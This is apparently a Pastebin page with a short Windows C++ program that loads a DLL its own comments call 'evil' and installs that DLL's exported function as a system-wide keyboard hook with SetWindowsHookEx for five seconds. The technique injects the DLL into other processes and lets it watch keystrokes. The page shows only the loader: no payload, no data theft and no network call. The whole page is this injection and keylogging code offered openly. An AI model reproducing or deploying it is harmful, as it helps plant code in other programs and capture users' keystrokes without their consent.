Advertisement
CHEAT_THE_GAME

Untitled

Oct 26th, 2022
865
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.51 KB | None | 0 0
  1. #include <windows.h>
  2. #include <cstdio>
  3.  
  4. typedef int(__cdecl* MeowProc)();
  5.  
  6. int main(void) {
  7.     HINSTANCE meowDll;
  8.     MeowProc meowFunc;
  9.     // load evil DLL
  10.     meowDll = LoadLibrary(TEXT("HookDll.dll"));
  11.  
  12.     // get the address of exported function from evil DLL
  13.     meowFunc = (MeowProc)GetProcAddress(meowDll, "Meow");
  14.  
  15.     // install the hook - using the WH_KEYBOARD action
  16.     HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)meowFunc, meowDll, 0);
  17.     Sleep(5 * 1000);
  18.      UnhookWindowsHookEx(hook);
  19.  
  20.     return 0;
  21. }
  22.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement